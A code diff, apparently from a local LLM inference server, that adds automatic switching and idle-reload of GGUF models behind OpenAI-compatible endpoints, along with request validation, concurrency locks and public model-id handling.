+    to a text-only target before it runs, so an image request can't evict the
+    resident vision model only to 400 afterwards.
+    """
+    from utils.openai_auto_switch_settings import (
+        get_openai_auto_switch_enabled,
+        get_auto_unload_idle_seconds,
+        get_model_override,
+    )
+    from core.inference.local_model_resolver import resolve_local_gguf
+    from core.inference.llama_keepwarm import (
+        get_last_unloaded_model,
+        other_inference_request_count,
+        inference_lifecycle_gate,
+    )
+
+    # Treat a non-string model (e.g. {"model": 123} on a raw-body endpoint) as
+    # absent so it falls through instead of raising in the membership checks below.
+    if not isinstance(requested_model, str) or not requested_model:
+        return
+    # The public preview route opts out so a caller cannot switch away from the
+    # pinned preview checkpoint it just loaded.
+    scope = getattr(fastapi_request, "scope", None)
+    if isinstance(scope, dict) and scope.get(_DISABLE_OPENAI_AUTO_SWITCH_SCOPE_KEY):
+        return
+    auto_switch_on = get_openai_auto_switch_enabled()
+    # The reload-stash path also runs when idle-unload is active on its own (a
+    # standalone UNSLOTH_MODEL_IDLE_TTL with auto-switch off), so a model the idle
+    # loop freed is restored on the next request. The resolver-based switch still
+    # requires the auto-switch toggle.
+    if not auto_switch_on and get_auto_unload_idle_seconds() <= 0:
+        return
+
+    # Register by the raw requested model before resolving (which can be slow):
+    # the middleware already counts a concurrent same-model request as in-flight,
+    # so the busy guard must know it shares this target even while it resolves.
+    request_key = _request_waiter_key(requested_model)
+    _note_request_waiter(request_key, 1)
+    try:
+        # Off the loop: a cold-cache rebuild walks several model dirs + HF caches.
+        # With auto-switch off (or an omitted-model reload-only request), skip the
+        # resolve so only the reload-stash path runs and no name is ever matched.
+        reload_only = requested_model == _RELOAD_ONLY_MODEL
+        resolved = (
+            await asyncio.to_thread(resolve_local_gguf, requested_model)
+            if auto_switch_on and not reload_only
+            else None
+        )
+        if resolved is None:
+            # Idle-unload may have freed the model; reload exactly what it freed
+            # (path + quant + advertised id) so an alias/unknown name stays servable
+            # and keeps the override keyed by the advertised id, not the load path.
+            last = get_last_unloaded_model()
+            # A non-GGUF (Unsloth/Transformers) model loaded after the idle-unload
+            # leaves the GGUF slot empty but is the live model, so don't resurrect
+            # the stale GGUF over it (that load would tear the active model down).
+            if (
+                not last
+                or get_llama_cpp_backend().is_loaded
+                or getattr(get_inference_backend(), "active_model_name", None)
+            ):
+                return
+            if len(last) == 3:
+                target_id, variant, override_id = last
+            else:  # pre-3-tuple stash: fall back to the path as the override key
+                target_id, variant = last
+                override_id = target_id
+        else:
+            # load_path is a concrete local path (never the bare repo id), so /load
+            # takes the local branch and cannot trigger a download. override_id is the
+            # advertised repo id, the launch-override key and the public model id.
+            target_id, variant, override_id = resolved
+        backend = get_llama_cpp_backend()
+        # A bare model id (no :VARIANT) is satisfied by any loaded quant of that
+        # repo, so it never reloads a different local quant that already serves it.
+        bare = ":" not in requested_model
+
+        def _already_serving() -> bool:
+            # Match against both the concrete load path and the advertised repo id,
+            # so a model loaded manually by repo id (identifier = repo id) and one
+            # loaded by auto-switch (identifier = path, advertised = repo id) both
+            # count as already serving rather than triggering a needless reswap.
+            if not backend.is_loaded or not backend.model_identifier:
+                return False
+            loaded_keys = {backend.model_identifier.lower()}
+            advertised = getattr(backend, "_openai_advertised_id", None)
+            if advertised:
+                loaded_keys.add(advertised.lower())
+            if loaded_keys.isdisjoint({target_id.lower(), override_id.lower()}):
+                return False
+            if bare:
+                return True
+            if variant:
+                loaded_variant = (getattr(backend, "hf_variant", None) or "").lower()
+                return loaded_variant == variant.lower()
+            return True
+
+        def _record_serving_alias() -> None:
+            # When an advertised alias already resolves to the loaded model (e.g. a
+            # model loaded by local path, requested by its repo/LM Studio id), record
+            # the alias as the public id so /v1/models and responses report it (and
+            # mark it loaded) instead of the path-derived basename. Resolver branch
+            # only: the reload-stash override_id can be the bare path, not a repo id.
+            # Lock-free is safe here: an in-flight request blocks any concurrent swap
+            # (single-slot busy guard), so the loaded model can't change under this.
+            if resolved is None or not override_id:
+                return
+            b = get_llama_cpp_backend()
+            if getattr(b, "_openai_advertised_id", None) != override_id:
+                b._openai_advertised_id = override_id
+
+        if _already_serving():
+            _record_serving_alias()
+            return
+        # An image/audio request naming a different text-only GGUF would load it
+        # here and only 400 below, evicting the working model. Reject before the
+        # swap. Only the resolver branch (an explicit new target); the reload-stash
+        # path just restores the model the request was already using. Both vision and
+        # audio input come from a companion mmproj (a filesystem probe) -- run it off
+        # the loop, like the resolver above.
+        if (
+            require_vision
+            and resolved is not None
+            and not await asyncio.to_thread(_target_is_vision, target_id)
+        ):
+            raise HTTPException(
+                status_code = 400,
+                detail = openai_error_body(
+                    "The requested model does not support the image or audio input in this request.",
+                    status = 400,
+                    code = "invalid_value",
+                    param = "model",
+                ),
+            )
+        key = _switch_key(override_id, variant)
+        _note_switch_waiter(key, 1)
+        try:
+            async with _auto_switch_lock():
+                # The asyncio lock is per loop; add a process-wide gate so a swap on
+                # another loop in this process can't race the single slot.
+                await _acquire_swap_gate()
+                try:
+                    # Hold the keep-warm gate across the swap so no new inference can
+                    # start on the model while it is being torn down and replaced.
+                    async with inference_lifecycle_gate():
+                        if _already_serving():
+                            _record_serving_alias()
+                            return
+                        # Single slot: refuse a cross-model swap while another inference
+                        # request is active rather than killing its response. Requests
+                        # heading to this same target (by resolved id or raw name) are
+                        # excluded, so concurrent requests for one model load once. A
+                        # pending request is still in the middleware, not generating, so
+                        # it is not counted here.
+                        same_others = max(
+                            _same_target_waiters(key) - 1, _same_request_waiters(request_key) - 1, 0
+                        )
+                        others = other_inference_request_count(
+                            current_request_counted = True, include_pending = False
+                        )
+                        # Not gated on the GGUF being loaded: _load_model_impl also
+                        # tears down an active Unsloth backend before loading a GGUF,
+                        # so refuse whenever any other inference request is in flight.
+                        if others > same_others:
+                            raise HTTPException(
+                                status_code = 409,
+                                detail = openai_error_body(
+                                    "Cannot switch models while another inference request is in progress.",
+                                    status = 409,
+                                    code = "model_switch_busy",
+                                    param = "model",
+                                ),
+                            )
+                        # Apply this model's saved launch flags so the swap honors the config.
+                        override = get_model_override(override_id)
+                        load_kwargs = {"model_path": target_id, "gguf_variant": variant}
+                        if override.get("llama_extra_args") is not None:
+                            load_kwargs["llama_extra_args"] = override["llama_extra_args"]
+                        if override.get("max_seq_length") is not None:
+                            load_kwargs["max_seq_length"] = override["max_seq_length"]
+                        # Reuse the load impl so its dedup, tensor fallback, and threading
+                        # apply. Call the impl directly: we already hold the lifecycle gate
+                        # the /load route would otherwise take, so the route would deadlock.
+                        await _load_model_impl(
+                            LoadRequest(**load_kwargs),
+                            fastapi_request,
+                            current_subject,
+                        )
+                        # Advertise the repo id (not the concrete load path) as the loaded
+                        # model's public id and override key for /v1/models and idle stash.
+                        get_llama_cpp_backend()._openai_advertised_id = override_id
+                finally:
+                    _auto_switch_process_lock.release()
+        finally:
+            _note_switch_waiter(key, -1)
+    finally:
+        _note_request_waiter(request_key, -1)
+
+
+async def _auto_switch_from_request_body(request: Request, current_subject: str):
+    """Run auto-switch from a raw-body endpoint's ``model`` without changing its
+    pre-feature status codes: a malformed/non-dict body yields no model (so an
+    unloaded backend still 503s, not 500), and the caller re-reads to surface the
+    original parse error after the loaded-state check. Returns the parsed body, or
+    None if it could not be parsed."""
+    try:
+        body = await request.json()
+    except (json.JSONDecodeError, ValueError):
+        return None
+    if isinstance(body, dict):
+        # A raw-body client may omit ``model`` and rely on the loaded backend. Pass
+        # a reload-only sentinel so the idle-stash reload still runs (an idle-freed
+        # model is restored) without the resolver ever matching a real name.
+        model = body.get("model") or _RELOAD_ONLY_MODEL
+    else:
+        model = None
+    await _maybe_auto_switch_model(model, request, current_subject)
+    return body
+
+
 def _effective_load_in_4bit(config: ModelConfig, requested: bool) -> bool:
     """Effective quantization the loader will use: a LoRA adapter can flip 4-bit to
     16-bit via adapter_config.json, so the guard sizes this, not the raw request."""
@@ -2508,6 +2914,15 @@ async def load_model(
 
     GGUF models load via llama-server (llama.cpp) instead of Unsloth.
     """
+    # Hold the lifecycle gate across the load so idle auto-unload can't unload the
+    # model mid-load. Auto-switch calls _load_model_impl directly since it already
+    # holds this gate.
+    from core.inference.llama_keepwarm import inference_lifecycle_gate
+    async with inference_lifecycle_gate():
+        return await _load_model_impl(request, fastapi_request, current_subject)
+
+
+async def _load_model_impl(request: LoadRequest, fastapi_request: Request, current_subject: str):
     from core.inference.llama_cpp import LlamaServerNotFoundError
 
     native_grant_backed = False
@@ -2932,6 +3347,13 @@ async def load_model(
             logger.info(
                 f"Loaded GGUF model via llama-server: {model_log_label if native_grant_backed else config.identifier}"
             )
+            # Clear any idle-unload reload stash now, not only on the next poll.
+            from core.inference.llama_keepwarm import note_model_loaded
+
+            note_model_loaded()
+            # A plain load advertises its own identifier; auto-switch overwrites
+            # this with the repo id right after _load_model_impl returns.
+            llama_backend._openai_advertised_id = None
 
             # Audio detection moved into load_model under _serial_load_lock (#5642).
             _gguf_audio = llama_backend._audio_type
@@ -3033,6 +3455,13 @@ async def load_model(
         logger.info(
             f"Loaded model: {model_log_label if native_grant_backed else config.identifier}"
         )
+        # Clear any idle-unload reload stash: a manual load supersedes an idle-freed
+        # GGUF, so the next /v1 request must not resurrect it. Mirror the GGUF branch
+        # above; without this a non-GGUF load leaves a stale stash until the idle
+        # poll clears it (and never, while idle-unload is off).
+        from core.inference.llama_keepwarm import note_model_loaded
+
+        note_model_loaded()
 
         # Load inference configuration parameters
         inference_config = load_inference_config(config.identifier)
@@ -3363,6 +3792,10 @@ async def unload_model(request: UnloadRequest, current_subject: str = Depends(ge
     Unload a model from memory.
     Routes to the correct backend (llama-server for GGUF, Unsloth otherwise).
     """
+    # A deliberate unload means "stay unloaded": drop any idle reload stash so the
+    # next /v1 request can't resurrect this model. The idle loop unloads via the
+    # backend directly (not this route), so clearing here never fights keep-warm.
+    from core.inference.llama_keepwarm import note_model_unloaded
     try:
         # Check if the GGUF backend has this model loaded or is loading it.
         llama_backend = get_llama_cpp_backend()
@@ -3371,13 +3804,17 @@ async def unload_model(request: UnloadRequest, current_subject: str = Depends(ge
             or is_registered_native_path_label(llama_backend.model_identifier, request.model_path)
             or not llama_backend.is_loaded
         ):
+            # A manual unload is a deliberate user action: tear down now even if a
+            # request is mid-stream (only the automatic idle loop defers to it).
             llama_backend.unload_model()
+            note_model_unloaded()
             logger.info(f"Unloaded GGUF model: {request.model_path}")
             return UnloadResponse(status = "unloaded", model = request.model_path)
 
         # Otherwise, unload from Unsloth backend
         backend = get_inference_backend()
         backend.unload_model(request.model_path)
+        note_model_unloaded()
         logger.info(f"Unloaded model: {request.model_path}")
         return UnloadResponse(status = "unloaded", model = request.model_path)
 
@@ -3786,10 +4223,25 @@ async def generate_audio(
         raise HTTPException(status_code = 400, detail = "No user message found.")
     text = last_user_msg["content"]
 
+    # Restore an idle-evicted GGUF before selecting a backend: this path is
+    # keep-warm-tracked but had no reload hook, so a standalone idle TTL could
+    # unload an audio GGUF the next request then failed to restore. Validation
+    # above ran first, so an invalid request never triggers a reload.
+    #
+    # Reload-only on purpose: a local GGUF's audio-input capability is not a cheap
+    # pre-load probe (the companion mmproj signal can't tell an audio projector
+    # from a vision one, and codec-based TTS ships no projector at all), so passing
+    # the client model through the resolver could load a text- or vision-only target
+    # and evict the working audio model before the audio backend check fails. Only
+    # the idle-stash restore runs here; switching TTS models is an explicit /load.
+    await _maybe_auto_switch_model(_RELOAD_ONLY_MODEL, request, current_subject)
+
     # Pick backend — both return (wav_bytes, sample_rate)
     llama_backend = get_llama_cpp_backend()
     if llama_backend.is_loaded and getattr(llama_backend, "_is_audio", False):
-        model_name = public_model_id(llama_backend.model_identifier)
+        # Advertised repo id after an auto-switch load, else a clean public id,
+        # never the absolute .gguf path.
+        model_name = _llama_public_model_id(llama_backend)
         gen = lambda: llama_backend.generate_audio_response(
             text = text,
             audio_type = llama_backend._audio_type,
@@ -4815,6 +5267,12 @@ async def openai_chat_completions(
     # ── External provider routing ────────────────────────────────
     # encrypted_api_key is optional -- local providers (llama.cpp / vLLM / Ollama) may run without auth.
     if payload.provider_id or payload.provider_type:
+        # External provider: this request won't touch the local GGUF, so drop it
+        # from the keep-warm count or its in-flight stream would falsely block a
+        # concurrent local auto-switch with model_switch_busy.
+        from core.inference.llama_keepwarm import untrack_current_request
+
+        untrack_current_request(request.scope)
         # Bypass Permissions suppresses the confirm gate, so do not reject a
         # request that sets both flags (effective confirm is then False).
         if (
@@ -4868,6 +5326,95 @@ async def openai_chat_completions(
                     ),
                 )
 
+    # Reject a system-only chat before any automatic load so an invalid request
+    # never swaps or reloads the resident model (as /responses and /messages
+    # already validate before switching). Gate on every automatic-load trigger,
+    # not just auto-switch, since a standalone idle TTL can also reload here.
+    # Parse once and reuse below.
+    _pre_parsed = None
+    _needs_vision = False
+    if _automatic_model_load_may_run():
+        _pre_parsed = _extract_content_parts(payload.messages)
+        if not _pre_parsed[1]:
+            raise HTTPException(
+                status_code = 400, detail = "At least one non-system message is required."
+            )
+        # Reject confirm-without-stream local tool requests before the switch: the
+        # local tool path requires stream=true for the confirm gate, so this shape
+        # is invalid and must not evict the resident model first. Mirror that path's
+        # enablement exactly (_effective_enable_tools honors a CLI --enable-tools
+        # policy hard-override; mcp_enabled opens the tool loop on its own but still
+        # defers to a CLI --disable-tools policy), or an mcp_enabled/policy-forced
+        # request would slip past this guard and only 400 after the swap.
+        from state.tool_policy import get_tool_policy as _get_confirm_tool_policy
+
+        _confirm_cli_policy = _get_confirm_tool_policy()
+        if (
+            payload.confirm_tool_calls
+            and not payload.bypass_permissions
+            and not payload.stream
+            and (
+                _effective_enable_tools(payload)
+                or (bool(payload.mcp_enabled) and _confirm_cli_policy is not False)
+                or bool(payload.enabled_tools)
+                or bool(payload.tools)
+                or bool(payload.openai_code_exec_container_id)
+                or bool(payload.anthropic_code_exec_container_id)
+            )
+        ):
+            raise HTTPException(
+                status_code = 400,
+                detail = openai_error_body(
+                    "confirm_tool_calls requires stream=true for local tool execution.",
+                    status = 400,
+                    code = "invalid_request_error",
+                    param = "confirm_tool_calls",
+                ),
+            )
+        # Reject a malformed tool_choice forcing object before the switch: a
+        # {"type": "function", "function": {}} with no name would otherwise be
+        # forwarded to llama-server and rejected only after the model swapped.
+        _tc = payload.tool_choice
+        if isinstance(_tc, dict) and _tc.get("type") == "function":
+            _tc_fn = _tc.get("function")
+            _tc_name = _tc_fn.get("name") if isinstance(_tc_fn, dict) else None
+            if not isinstance(_tc_name, str) or not _tc_name.strip():
+                raise HTTPException(
+                    status_code = 400,
+                    detail = openai_error_body(
+                        "Invalid 'tool_choice': the forced function must have a 'name'.",
+                        status = 400,
+                        code = "invalid_value",
+                        param = "tool_choice",
+                    ),
+                )
+        # Reject an oversized audio upload before the switch: the size cap is a
+        # cheap, target-independent length check, so a too-large payload must not
+        # load a GGUF only to 413 afterward (the decode itself stays post-switch to
+        # avoid decoding a valid upload twice).
+        if payload.audio_base64 and len(payload.audio_base64) > _MAX_AUDIO_B64_CHARS:
+            raise HTTPException(status_code = 413, detail = "Audio file is too large (max ~25 MB).")
+        # Reject streaming n>1 before the switch: only the non-streaming GGUF path
+        # returns multiple choices, so stream=true + n>1 is invalid on every local
+        # serving path (the external path already rejected it before its early
+        # return). Both fields are known here, so a bad shape must not load model B
+        # only to 400. The non-streaming n>1 cases stay post-switch, where the
+        # serving path decides whether the shape is supported.
+        if payload.stream and _wants_multiple_choices(payload):
+            _raise_unsupported_n("streaming chat completions")
+        # Audio input rides the same companion-mmproj projector as vision, so a
+        # text-only target can't serve it either; guard both before the switch.
+        _needs_vision = (
+            bool(_pre_parsed[2]) or _request_has_image(payload) or bool(payload.audio_base64)
+        )
+
+    await _maybe_auto_switch_model(
+        _switch_model_for_payload(payload),
+        request,
+        current_subject,
+        require_vision = _needs_vision,
+    )
+
     llama_backend = get_llama_cpp_backend()
     using_gguf = llama_backend.is_loaded
 
@@ -4923,8 +5470,9 @@ async def openai_chat_completions(
         return response
 
     if using_gguf:
-        # Echo a clean public id in the response, never the absolute .gguf path.
-        model_name = public_model_id(llama_backend.model_identifier) or payload.model
+        # Advertised repo id after an auto-switch load, else a clean public id,
+        # never the absolute .gguf path.
+        model_name = _llama_public_model_id(llama_backend, payload.model)
         if getattr(llama_backend, "_is_audio", False):
             if _wants_multiple_choices(payload):
                 _raise_unsupported_n("GGUF audio chat completions")
@@ -5185,7 +5733,11 @@ async def openai_chat_completions(
         )
 
     # ── Parse messages (handles multimodal content parts) ─────
-    system_prompt, chat_messages, extracted_image_b64 = _extract_content_parts(payload.messages)
+    # Reuse the pre-hook parse when auto-switch did it, else parse now.
+    if _pre_parsed is not None:
+        system_prompt, chat_messages, extracted_image_b64 = _pre_parsed
+    else:
+        system_prompt, chat_messages, extracted_image_b64 = _extract_content_parts(payload.messages)
 
     if not chat_messages:
         raise _reject(400, "At least one non-system message is required.")
@@ -6492,10 +7044,13 @@ def _openai_model_objects() -> list[dict]:
     # Check GGUF backend
     llama_backend = get_llama_cpp_backend()
     if llama_backend.is_loaded:
+        # Advertise the repo id an auto-switch load recorded, not the concrete
+        # on-disk load path, so /v1/models never leaks a host path or lists a
+        # model twice (path plus repo id).
         entry = {
-            # Public id, never the absolute .gguf path (which leaks the host
-            # filesystem layout); see core.inference.model_ids.public_model_id.
-            "id": public_model_id(llama_backend.model_identifier),
+            # Advertised repo id after an auto-switch load, else a clean public id,
+            # never the absolute .gguf path (which leaks the host filesystem layout).
+            "id": _llama_public_model_id(llama_backend),
             "object": "model",
             "created": _created,
             "owned_by": _OWNED_BY,
@@ -6541,7 +7096,21 @@ def _openai_model_objects() -> list[dict]:
 # don't rescan the HF cache and models dirs on every request.
 _CATALOG_CACHE: dict = {"at": 0.0, "models": []}
 _CATALOG_TTL_S = 30.0
-_CATALOG_LOCK = asyncio.Lock()
+# Per-loop lock (like _auto_switch_lock): a module-level asyncio.Lock ties its
+# waiters to the loop that first awaited it, so a second event loop awaiting it
+# in a multi-loop ASGI process can hang. The cache double-check keeps correctness
+# even when two loops each scan once.
+_catalog_locks: "weakref.WeakKeyDictionary" = weakref.WeakKeyDictionary()
+_catalog_locks_guard = threading.Lock()
+
+
+def _catalog_lock() -> asyncio.Lock:
+    loop = asyncio.get_running_loop()
+    with _catalog_locks_guard:
+        lock = _catalog_locks.get(loop)
+        if lock is None:
+            lock = _catalog_locks[loop] = asyncio.Lock()
+        return lock
 
 
 async def _cached_local_catalog() -> list:
@@ -6558,7 +7127,7 @@ async def _cached_local_catalog() -> list:
     now = time.monotonic()
     if _CATALOG_CACHE["at"] and (now - _CATALOG_CACHE["at"]) <= _CATALOG_TTL_S:
         return _CATALOG_CACHE["models"]
-    async with _CATALOG_LOCK:
+    async with _catalog_lock():
         now = time.monotonic()
         if _CATALOG_CACHE["at"] and (now - _CATALOG_CACHE["at"]) <= _CATALOG_TTL_S:
             return _CATALOG_CACHE["models"]
@@ -6588,7 +7157,15 @@ async def _openai_catalog_objects() -> list[dict]:
         by_id[entry["id"]] = {**entry, "loaded": True}
 
     # Locally available (downloaded/cached) models that are not already loaded.
-    for info in await _cached_local_catalog():
+    # Advertise only GGUF models /v1 can actually serve (llama.cpp). GGUF-ness is
+    # read from the on-disk files, not model_format: the HF-cache scanner leaves
+    # model_format unset for GGUF snapshots, so a model_format filter would drop
+    # every cached GGUF. The file checks run off the loop.
+    from core.inference.local_model_resolver import info_has_local_gguf
+
+    catalog = await _cached_local_catalog()
+    servable = await asyncio.to_thread(lambda: [i for i in catalog if info_has_local_gguf(i)])
+    for info in servable:
         cid = getattr(info, "model_id", None) or public_model_id(getattr(info, "id", None))
         if not cid or cid in by_id:
             continue
@@ -6632,29 +7209,43 @@ async def openai_retrieve_model(model_id: str, current_subject: str = Depends(ge
     from core.inference.model_ids import model_id_matches
 
     # Loaded models resolve without a catalog scan (the common case); only build
-    # the full catalog -- which may hit the filesystem -- for unloaded ids.
-    for entry in _openai_model_objects():
-        if entry["id"] == model_id:
+    # the full catalog -- which may hit the filesystem -- for unloaded ids. Match
+    # case-insensitively, like the catalog loop below and the resolver's index.
+    _loaded = _openai_model_objects()
+    for entry in _loaded:
+        eid = entry["id"]
+        if isinstance(eid, str) and eid.lower() == model_id.lower():
             return {**entry, "loaded": True}
 
     objects = await _openai_catalog_objects()
     for model in objects:
-        if model["id"] == model_id:
+        # Case-insensitive to match the resolver, which lowercases its index.
+        mid = model.get("id")
+        if isinstance(mid, str) and mid.lower() == model_id.lower():
             return model
     # Backward compatibility: a client may still send the legacy raw identifier
-    # (e.g. an absolute .gguf path cached from an older /v1/models). Resolve it to
-    # the clean object so it keeps working, without ever echoing the path back.
+    # (e.g. an absolute .gguf path cached from an older /v1/models). Map it to the
+    # loaded model's object so it keeps working, without ever echoing the path back.
+    # Key each raw id to the SAME public id its /v1/models entry uses: an
+    # auto-switch load advertises a repo id while its identifier is the snapshot
+    # path, so public_model_id(path) would miss the advertised entry and 404 a
+    # model that is in fact loaded.
     llama_backend = get_llama_cpp_backend()
     backend = get_inference_backend()
-    for raw in (
-        llama_backend.model_identifier if llama_backend.is_loaded else None,
-        backend.active_model_name or None,
-    ):
-        if raw and model_id_matches(model_id, raw):
-            clean = public_model_id(raw)
-            for model in objects:
-                if model["id"] == clean:
-                    return model
+    raw_to_public: list[tuple[str, Optional[str]]] = []
+    if llama_backend.is_loaded and llama_backend.model_identifier:
+        raw_to_public.append(
+            (llama_backend.model_identifier, _llama_public_model_id(llama_backend))
+        )
+    if backend.active_model_name:
+        raw_to_public.append(
+            (backend.active_model_name, public_model_id(backend.active_model_name))
+        )
+    for raw, clean in raw_to_public:
+        if model_id_matches(model_id, raw):
+            for entry in _loaded:
+                if entry["id"] == clean:
+                    return {**entry, "loaded": True}
     raise HTTPException(
         status_code = 404,
         detail = openai_error_body(
@@ -6679,6 +7270,16 @@ def _flatten_monitor_prompt(value) -> str:
     return str(value)
 
 
+def _completions_prompt_present(body: dict) -> bool:
+    """Whether a completions body carries a usable ``prompt`` (non-empty)."""
+    prompt = body.get("prompt")
+    if isinstance(prompt, str):
+        return prompt != ""
+    if isinstance(prompt, (list, tuple)):
+        return len(prompt) > 0
+    return prompt is not None
+
+
 @router.post("/completions")
 async def openai_completions(request: Request, current_subject: str = Depends(get_current_subject)):
     """
@@ -6688,13 +7289,39 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
     when a GGUF model is loaded.
     """
     llama_backend = get_llama_cpp_backend()
+
+    # Reject a request with no prompt before any automatic load so an invalid
+    # request never swaps or reloads the resident model (as chat/embeddings already
+    # validate before switching). Gate on every automatic-load trigger.
+    if _automatic_model_load_may_run():
+        try:
+            _pre = await request.json()
+        except (json.JSONDecodeError, ValueError):
+            _pre = None
+        if isinstance(_pre, dict):
+            _pre_prompt = _pre.get("prompt")
+            if _pre_prompt is not None and not isinstance(_pre_prompt, (str, list, tuple)):
+                # An object/number prompt is a deterministic client error (only a
+                # string or array is valid); reject it before the switch so a bad
+                # shape can't load a GGUF only to be rejected by llama-server after.
+                raise HTTPException(status_code = 400, detail = "'prompt' must be a string or array.")
+            if not _completions_prompt_present(_pre):
+                raise HTTPException(status_code = 400, detail = "'prompt' is required for completions.")
+
+    # Opt-in: load the requested local GGUF before the loaded-state check.
+    body = await _auto_switch_from_request_body(request, current_subject)
     if not llama_backend.is_loaded:
         raise HTTPException(
             status_code = 503,
             detail = "No GGUF model loaded. Load a GGUF model first.",
         )
+    if not isinstance(body, dict):
+        # Re-read to re-raise a malformed-body error (post-503, pre-feature behavior);
+        # a valid non-dict body such as a list is a clean 400 rather than a 500.
+        body = await request.json()
+        if not isinstance(body, dict):
+            raise HTTPException(status_code = 400, detail = "Request body must be a JSON object")
 
-    body = await request.json()
     if body.get("max_tokens") is None:
         body["max_tokens"] = llama_backend.context_length or _DEFAULT_MAX_TOKENS_FLOOR
     target_url = f"{llama_backend.base_url}/v1/completions"
@@ -6703,7 +7330,7 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
     monitor_id = api_monitor.start(
         endpoint = request.url.path,
         method = request.method,
-        model = str(body.get("model") or llama_backend.model_identifier or "default"),
+        model = str(body.get("model") or _llama_public_model_id(llama_backend) or "default"),
         prompt = prompt_text,
         context_length = llama_backend.context_length,
         subject = current_subject,
@@ -6850,6 +7477,16 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
 # =====================================================================
 
 
+def _embeddings_input_present(body: dict) -> bool:
+    """Whether an embeddings body carries a usable ``input`` (non-empty)."""
+    inp = body.get("input")
+    if isinstance(inp, str):
+        return inp != ""
+    if isinstance(inp, (list, tuple)):
+        return len(inp) > 0
+    return inp is not None
+
+
 @router.post("/embeddings")
 async def openai_embeddings(request: Request, current_subject: str = Depends(get_current_subject)):
     """
@@ -6861,13 +7498,42 @@ async def openai_embeddings(request: Request, current_subject: str = Depends(get
     error (expected).
     """
     llama_backend = get_llama_cpp_backend()
+    # Reject a request with no input before any automatic load so an invalid
+    # request never swaps or reloads the resident model (as chat/responses/messages
+    # already validate before switching). Gate on every automatic-load trigger,
+    # not just auto-switch, since a standalone idle TTL can also reload here.
+    if _automatic_model_load_may_run():
+        try:
+            _pre = await request.json()
+        except (json.JSONDecodeError, ValueError):
+            _pre = None
+        if isinstance(_pre, dict):
+            _pre_input = _pre.get("input")
+            if _pre_input is not None and not isinstance(_pre_input, (str, list, tuple)):
+                # An object/number input is a deterministic client error (only a
+                # string or array is valid); reject it before the switch so a bad
+                # shape can't load a GGUF only to be rejected by llama-server after.
+                raise HTTPException(status_code = 400, detail = "'input' must be a string or array.")
+            if not _embeddings_input_present(_pre):
+                raise HTTPException(status_code = 400, detail = "'input' is required for embeddings.")
+    # Embeddings is a model-bearing inference path too, so honor auto-switch. Unlike
+    # vision (cheaply pre-checked via a companion mmproj), GGUF pooling capability has
+    # no reliable pre-load probe -- is_embedding_model keys on a sentence-transformers
+    # modules.json a bare .gguf never has -- so embeddings auto-switch is best-effort:
+    # a non-embedding target switches, then llama-server returns a no-pooling error.
+    body = await _auto_switch_from_request_body(request, current_subject)
     if not llama_backend.is_loaded:
         raise HTTPException(
             status_code = 503,
             detail = "No GGUF model loaded. Load a GGUF model first.",
         )
+    if not isinstance(body, dict):
+        # Re-read to re-raise a malformed-body error (post-503, pre-feature behavior);
+        # a valid non-dict body such as a list is a clean 400 rather than a 500.
+        body = await request.json()
+        if not isinstance(body, dict):
+            raise HTTPException(status_code = 400, detail = "Request body must be a JSON object")
 
-    body = await request.json()
     target_url = f"{llama_backend.base_url}/v1/embeddings"
     prompt_text = _flatten_monitor_prompt(body.get("input", ""))
     monitor_id = None
@@ -6875,7 +7541,7 @@ async def openai_embeddings(request: Request, current_subject: str = Depends(get
         monitor_id = api_monitor.start(
             endpoint = request.url.path,
             method = request.method,
-            model = str(body.get("model") or llama_backend.model_identifier or "default"),
+            model = str(body.get("model") or _llama_public_model_id(llama_backend) or "default"),
             prompt = prompt_text,
             context_length = llama_backend.context_length,
             subject = current_subject,
@@ -7340,10 +8006,13 @@ def _build_chat_request(
     ``/v1/chat/completions`` client-side pass-through picks them up unchanged.
     """
     chat_kwargs: dict = dict(
-        model = payload.model,
         messages = messages,
         stream = stream,
     )
+    # Only forward an explicitly set model so an omitted Responses model stays
+    # reload-only when openai_chat_completions re-checks on the non-streaming path.
+    if "model" in payload.model_fields_set:
+        chat_kwargs["model"] = payload.model
     if payload.temperature is not None:
         chat_kwargs["temperature"] = payload.temperature
     if payload.top_p is not None:
@@ -7597,12 +8266,11 @@ async def _responses_stream(
         # Clean public id for every response envelope. Prefer the loaded model's
         # id so the stream agrees with /v1/models, chat/completions and the
         # non-streaming twin; fall back to a sanitized payload.model (a legacy
-        # raw .gguf path is stripped, never echoed back).
-        _clean_model = (
-            public_model_id(getattr(llama_backend, "model_identifier", None))
-            or public_model_id(payload.model)
-            or payload.model
-        )
+        # raw .gguf path is stripped, never echoed back). Use the advertised-id
+        # helper, not the raw identifier: after an auto-switch to a cached HF GGUF
+        # the identifier is the snapshot path while the repo id lives in
+        # _openai_advertised_id, so the raw form would stream a snapshot basename.
+        _clean_model = _llama_public_model_id(llama_backend, payload.model) or payload.model
         full_text = ""
         full_reasoning = ""
         input_tokens = 0
@@ -8245,6 +8913,56 @@ async def openai_responses(
     messages = _normalise_responses_input(payload)
     if not messages:
         raise HTTPException(status_code = 400, detail = "No input provided.")
+    # System/developer-only input normalises to a non-empty list, so reject it
+    # before the switch (mirror chat) or an invalid request evicts the resident
+    # model only for the chat handler to 400 it as having no non-system message.
+    if not any(m.role not in ("system", "developer") for m in messages):
+        raise HTTPException(status_code = 400, detail = "At least one non-system message is required.")
+    # Reject a malformed function tool before any model load, mirroring the
+    # /v1/chat/completions check, so an invalid request never switches the model.
+    # Built-in tools (web_search, mcp, ...) carry no name and are dropped later.
+    for _tool in payload.tools or []:
+        if not isinstance(_tool, dict) or _tool.get("type") != "function":
+            continue
+        _name = _tool.get("name")
+        if not isinstance(_name, str) or not _name.strip():
+            raise HTTPException(
+                status_code = 400,
+                detail = openai_error_body(
+                    "Invalid 'tools': each function tool must have a 'name'.",
+                    status = 400,
+                    code = "invalid_value",
+                    param = "tools",
+                ),
+            )
+    # Reject a forcing-function tool_choice with no name before the switch (mirror
+    # chat), so a malformed request can't evict the model. Responses forces with
+    # {"type": "function", "name": "X"}; the streaming path would otherwise forward
+    # the bad choice and the non-streaming path only 400s after the swap.
+    _tc = payload.tool_choice
+    if isinstance(_tc, dict) and _tc.get("type") == "function":
+        _tc_name = _tc.get("name")
+        if not isinstance(_tc_name, str) or not _tc_name.strip():
+            raise HTTPException(
+                status_code = 400,
+                detail = openai_error_body(
+                    "Invalid 'tool_choice': the forced function must have a 'name'.",
+                    status = 400,
+                    code = "invalid_value",
+                    param = "tool_choice",
+                ),
+            )
